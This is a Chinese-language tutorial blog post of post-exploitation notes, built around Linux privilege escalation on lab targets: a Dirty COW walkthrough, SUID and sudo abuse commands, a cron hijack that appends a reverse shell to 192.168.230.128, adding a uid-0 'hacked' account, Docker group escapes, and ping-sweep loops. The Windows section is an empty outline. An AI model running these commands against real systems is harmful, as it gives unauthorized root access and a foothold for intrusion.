Bootstrap

后渗透——Windows/Linux提权&&横向笔记

前言:

在渗透工作中,当我们拿到某一台服务器的的 shell 后,肯定要进行横向渗透或者提权操作,因此今天来总结一下后渗透中,横向以及提权的一些操作方法。

一、基础信息收集

提权之前先介绍一下基本的信息收集命令,为后续的提权做准备。

Linux信息收集

内核,操作系统和设备信息
uname -a  打印所有可用的系统信息
uname -r  内核版本
uname -n  系统主机名。
uname -m  查看系统内核架构(64位/32位)
hostname  系统主机名
lsb_release -a   发行版信息
cat /proc/version  内核信息
cat /etc/*-release  发行版信息
cat /etc/issue    发行版信息
cat /proc/cpuinfo  CPU信息

在这里插入图片描述
在这里插入图片描述

用户,群组和权限信息
cat /etc/group   列出系统上的所有组
groups        当前用户所在的组
sudo -l       当前用户是否有sudo权限
cat /etc/sudoers  谁被允许以root身份执行

在这里插入图片描述

sudo: 组名
x: 密码占位符,表示密码被存储在其他地方(通常是 /etc/shadow)
27: 组ID(GID)
kali: 组成员,表示属于该组的用户

在这里插入图片描述

环境信息
env 	显示环境变量
cat /etc/shells    显示可用的shell

在这里插入图片描述

Windows信息收集

系统信息
  • 系统基本信息 :systeminfo 可查询系统信息,包括主机名、系统版本、补丁信息等。
  • 系统名称 :wmic os get caption 查看系统名。
  • 补丁信息 :wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息。
用户信息
  • 用户信息 :net user 能查看用户信息。
  • 组信息 :net localgroup 可列出所有组。
进程信息
  • 进程列表 :wmic process list brief 用于查询本机进程。
  • 特定端口进程 :netstat -ano | find "3389" 查看服务 pid 号,可用于确定特定端口(如 3389)对应的进程 ID。
服务信息
  • wmic service list brief 可查询本机服务。
网络配置
  • 网络配置信息 :ipconfig 查看网络配置信息。
  • DNS 缓存 :ipconfig /displaydns 显示 DNS 缓存。
  • 路由表 :route print 打印路由表。
  • ARP 表 :arp -a 打印 ARP 表。
防火墙配置
  • netsh firewall show config 用于查看防火墙配置。
共享列表
  • net share 可查看本机共享列表。
权限信息
  • 当前用户权限 :whoami /priv 能列出当前帐户权限。
安装程序信息
  • 已安装程序 :wmic product get name,version 查看当前安装程序及其版本信息。

二、提权

当我们通过一些方式得到shell后,但是因为权限太低,无法做到后续深入利用,因此就需要提高自己在服务器中的权限。

Linux提权

linux的提权方式大致有以下几种:

  1. 通过查看内核版本,寻找是否存在可以用于提权的漏洞。

  2. 通过信息收集,查看定时任务,sudo配置,suid权限配置,查看是否存在可以用于提权的不当配置。

  3. 通过查看第三方应用的配置信息或者其开放的服务,分析是否可以用于提权。

1.内核漏洞提权

内核漏洞进行提权一般包括三个环节:

  • 首先,对目标系统进行信息收集,获取到系统内核信息以及版本信息
  • 而后,根据内核版本获取其对应的漏洞以及EXP
  • 最后,使用找到的EXP对目标系统发起攻击,完成提权操作

注:内核漏洞提权有风险,有可能会导致系统崩溃。

脏牛漏洞(CVE-2016-5195,Dirty COW)

提起内核漏洞提权就不得不提到脏牛漏洞,它是存在时间最长且影响范围最广的漏洞之一。低权限用户可以利用该漏洞实现本地提权,同时可以通过该漏洞实现Docker容器逃逸,获得root权限的shell。

影响范围:

Linux 内核2.6.22 – 3.9 (x86/x64)

漏洞复现:

这里使用 vulnhub 的靶机:Lampiao,进行复现,下载链接:https://www.vulnhub.com/entry/lampiao-1,249/

前面的利用这里都跳过,已获得服务器低权限 shell
在这里插入图片描述
然后通过 LES(Linux 权限提升审计工具)来检测 Linux 内核的安全缺陷。下载链接:https://github.com/The-Z-Labs/linux-exploit-suggester

在 kali 新建一个终端,使用 python 建立一个 http 服务器,并在对应目录下存放 linux-exploit-suggester.sh,然后在靶机这边通过 wget 命令下载。
在这里插入图片描述

wget http://192.168.56.130:9999/linux-exploit-suggester.sh

在这里插入图片描述
chmod +x 增加执行权限之后,执行该脚本文件
在这里插入图片描述
通过脚本测试出来的结果,发现存在脏牛提权漏洞。
在这里插入图片描述
在Github上找对应的exp:https://github.com/gbonacini/CVE-2016-5195,使用同样的方式传输到靶机上面

wget http://192.168.56.130:9999/CVE-2016-5195-master.zip

在这里插入图片描述
解压后进入到对应的目录下,对.cpp文件进行编译后执行
在这里插入图片描述
执行结果成功得到 root 用户的密码:dirtyCowFun,切换 root 用户,成功提权!

2.SUID提权

SUID(Set User ID)是Linux系统中的一种特殊权限,允许用户以文件所有者的身份执行该文件。当一个可执行文件设置了SUID权限时,任何用户执行该文件时,进程的有效用户ID(EUID)将被设置为该文件的所有者,而非执行者自身的用户ID。这意味着,即使是普通用户,也可以在执行该文件时获得文件所有者的权限。

如果系统中存在设置了SUID权限的程序,并且这些程序存在漏洞或被错误配置,攻击者可能利用这些程序获取更高的权限。

SUID的作用

SUID主要用于需要特权的程序,例如 /usr/bin/passwd,它允许普通用户修改自己的密码。在执行passwd命令时,虽然是普通用户执行,但由于passwd文件设置了SUID权限,其进程以root身份运行,从而能够修改系统的密码文件

如何设置SUID权限

sudo chmod u+s filename  # 设置SUID权限
sudo chmod u-s filename  # 移除SUID权限

查找SUID文件

find / -perm -u=s -type f 2>/dev/null
or
find / -perm -4000 -type f 2>/dev/null 

常见的SUID提权方法:

假设前期的渗透操作已经拿下了一个低权限的用户,下面对其提权,使用上面命令查看本机中拥有suid权限的程序文件:
在这里插入图片描述

find
find . -exec /bin/sh -p \; -quit

返回shell,可见该进程euid为root,
在这里插入图片描述

vim/vi

在这里插入图片描述
如果vim 是通过SUID运行,就会继承root用户的权限。可读取只有root能读取的文件。

vim /etc/shadow

在这里插入图片描述

vim 
:shell #命令模式输入shell

在这里插入图片描述
这里我在 ubuntu 环境没成功,于是使用另一种方法,添加特权权限用户。

vim /etc/passwd #添加特权用户
evilroot:x:0:0::/home/evil:/bin/bash

vim /etc/shadow #添加特权用户
evilroot:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: #密码是123456

在这里插入图片描述
成功提权。

less/more
less /etc/passwd
!/bin/sh

在这里插入图片描述

这俩在新版的 Debian 和 ubuntu 中,我没利用成功。

bash
bash -p    # -p参数保留特权模式(需bash有SUID)

在这里插入图片描述

flock

输入以下命令返回root shell:

flock -u / /bin/sh -p

在这里插入图片描述

env

输入以下命令返回root shell:

env /bin/sh -p

在这里插入图片描述

awk

在这里插入图片描述

awk 'BEGIN {system("/bin/bash")}' 

我这里也失败了。

cp/mv

这俩命令利用方式一样,覆盖 /etc/passwd 从而进行提权

创建一个包含恶意内容的文件:

echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' > ~/passwd

使用 cp 覆盖 /etc/passwd

cp ~/passwd /etc/passwd

由于 cp 具有 SUID 权限,普通用户可以以 root 权限执行此操作,从而覆盖 /etc/passwd 文件。
在这里插入图片描述
输入密码 pass123,获得 root 权限。

PS:最好备份一下原文件,不然替换后就这一个用户了。

python

输入以下命令返回root shell:

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

在这里插入图片描述

3.定时任务提权

定时任务(Cron Job)是Linux系统中的一个守护进程,用于调度重复任务,通过配置 crontab 可以让系统周期性地执行某些命令或者脚本。由于 cron 通常以 root 特权运行,如果我们可以修改其调度的任何脚本或二进制文件,那么便可以使用 root 权限执行任意代码。

1、查看 /etc/crontab 文件,看是否有脚本被调用
在这里插入图片描述
发现有一个定时任务,并且是以 root 身份来执行。

2、查看 /etc/script/CleaningScript.sh 这个文件内容,发现是一个删除日志的命令。在这里插入图片描述
3、查看它的的权限设置
屏幕截图 2024-04-02 093430.jpg
发现是777,也就是任何用户都能对它进行读写执行

4、追加反弹shell命令到文件末尾

echo "/bin/bash -i >/dev/tcp/192.168.230.128/666 0>81" >> /etc/script/CleaningScript.sh

屏幕截图 2024-04-02 103830.jpg
5、等待个几分钟便成功反弹shell,此时的用户是root
在这里插入图片描述

4.SUDO滥用提权

Sudo 是 Linux 系统中用于权限管理的命令,允许普通用户以其他用户(通常是 root 用户)的身份执行命令。Sudo 的配置文件为 /etc/sudoers,其中定义了用户或用户组可以执行的命令及其权限。如果配置不当,攻击者可能通过滥用 sudo 权限来提升自己的权限,从而获得系统的更高控制权。

在一般用户需要取得特殊权限时,其可在命令前加上sudo,此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。

在 sudoers 中增加以下内容,可以使用户 user1 可以从任何终端运行,以 root 用户身份运行命令 find 而无需密码。

user1  ALL = (root) NOPASSWD: /usr/bin/find

测试环境配置

新建普通用户 sudo_test,然后切换到 root 用户,向 sudoer 文件中添加以下内容(:

sudo_test ALL= (root) NOPASSWD:/usr/bin/find,(root) NOPASSWD:/usr/bin/vim,(root) NOPASSWD:/usr/bin/awk,(root) NOPASSWD:/usr/bin/man,(root) NOPASSWD:/usr/bin/less,(root) NOPASSWD:/bin/more,(root) NOPASSWD:/bin/tar,(root)NOPASSWD:/usr/bin/zip;

提权操作:

当前已经获取到低权限用户sudo_test,使用sudo -l命令查看本用户允许使用的sudo程序。
在这里插入图片描述

find

执行命令:

sudo find /etc/passwd -exec /bin/sh \;

在这里插入图片描述
返回了root shell,提权成功!

vim

执行以下命令提权:

sudo vim -c '!sh'

在这里插入图片描述

awk

执行以下命令提权:

sudo awk 'BEGIN {system("/bin/bash")}'

在这里插入图片描述

Less

执行以下命令:

sudo less /etc/hosts

在这里插入图片描述
之后输入!enter,切换到 root 用户,提权成功!

Man

执行以下命令:

sudo man man

之后输入!enter,切换到 root 用户,提权成功!
在这里插入图片描述

5.第三方服务提权

当一些第三方服务,以root身份运行, 我们通过它拿到的 shell 就是 root 权限。

ps -aux | grep root

该命令可以显示以root用户身份运行的服务

Docker组提权
  1. 默认情况下使用 docker 必须要有 sudo 权限,对于一台机器多用户使用,往往很多用户只有普通权限。为了让普通用户也可以使用docker,管理员将需要使用 docker 的用户添加到 docker 用户组(安装docker后默认会创建该组)中,用户重新登录机器即可免 sudo 使用 docker 了。
  2. 用户创建一个docker容器后,容器内默认是root账户,在不需要加 sudo 的情况下可以任意更改容器内的配置。
  3. 通过docker提供的-v选项,提供用户将容器外的host目录映射进容器内,方便的进行容器内外的文件共享。

结合以上三个特点,可以实现用户提权操作。

提权方式1

通过前期的渗透操作,我们已经拿下普通用户,并且拥有docker组权限,下面对其进行提权。首先,运行一个容器:

docker run -it -v /etc:/etc ubuntu /bin/bash

将宿主机的 /etc 目录直接映射进容器,从而覆盖了容器内的 /etc 目录。而在容器内当前用户有root权限,于是可以随意查看修改 /etc/passwd/etc/shadow等文件。

cat /etc/shadow

这里已经获取到密码 hash,有两个办法进行权限提升,一是进行 hash 破解,二是添加一个特权账号,这里选择第二个方法。
在这里插入图片描述

echo 'hacked:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash' >> /etc/passwd

在这里插入图片描述
宿主机已经添加了个特权账号,切换用户,输入密码 pass123,成功提权为 root 权限。

在这里插入图片描述
提权方式2

DockerHub上有人将 exp 打包成镜像 rootplease ,只要用户在 docker 组中,运行下面命令就能直接在 docker 中获取到 root 权限。

docker run -v /:/hostOS -it chrisfosterelli/rootplease

容器生成后自动获取到宿主机的 root 权限,并启动 shell 程序,直接在 docker 中执行命令。
在这里插入图片描述

MySQL UDF提权

详情见这篇文章:https://blog.csdn.net/qq_43531669/article/details/141612345

Redis提权

详情见这篇文章:https://blog.csdn.net/qq_43531669/article/details/130574785

Windows 提权

windows的等有空再补充吧,累了。

系统内核溢出漏洞提权
数据库提权
错误的系统配置提权
组策略首选项提权
WEB中间件漏洞提权
第三方软件 / 服务提权

1.系统内核漏洞提权

2.数据库提权

3.系统服务权限配置错误

4.组策略首选项提权

5.WEB中间件漏洞提权

6.第三方软件 / 服务提权

三、横向探测

当提权成功或拿到的shell权限本身就比较高,在服务器上进行一番操作后,下一步就是横向渗透,扩大战果。那么首先就要进行横向IP探测(当然直接挂代理更方便,这里只是提供个快速的探测方法)。

Linux

探测1个网段:192.168.1.1——192.168.1.10

for i in $(seq 1 10); do ping -c 1 -W 1 192.168.1.$i >/dev/null 2>&1 && echo "192.168.1.$i is alive"; done

解释

-c 1: 发送 1 个 ICMP 回显请求。
-W 1:设置超时时间为 1 秒,避免等待过长时间。
>/dev/null 2>&1:将标准输出和标准错误重定向到 /dev/null,隐藏不必要的输出。

探测2个网段:192.168.1.1——192.168.1.10 和 192.168.2.1——192.168.2.10

for i in $(seq 1 2); do for j in $(seq 1 10); do ping -c 1 -W 1 192.168.$i.$j >/dev/null 2>&1 && echo "192.168.$i.$j is alive"; done; done

Windows

探测1个网段:192.168.1.1 —— 192.168.1.255 之间的存活IP

for /l %i in (1,1,255) do @ping -n 1 -w 1000 192.168.1.%i >nul 2>&1 && echo 192.168.1.%i is alive

解释:

@ping: 使用 ping 命令,并隐藏当前命令本身的回显。
-n 1: 发送 1 个 ICMP 回显请求。
-w 1000: 设置超时时间为 1000 毫秒(1 秒)。
>nul 2>&1: 将标准输出和标准错误都重定向到 nul,即不显示任何输出。

探测2个网段:

for /l %i in (1,1,255) do for /l %j in (1,1,255) do @ping -n 1 -w 1000 192.168.%i.%j >nul 2>&1 && echo 192.168.%i.%j is alive
;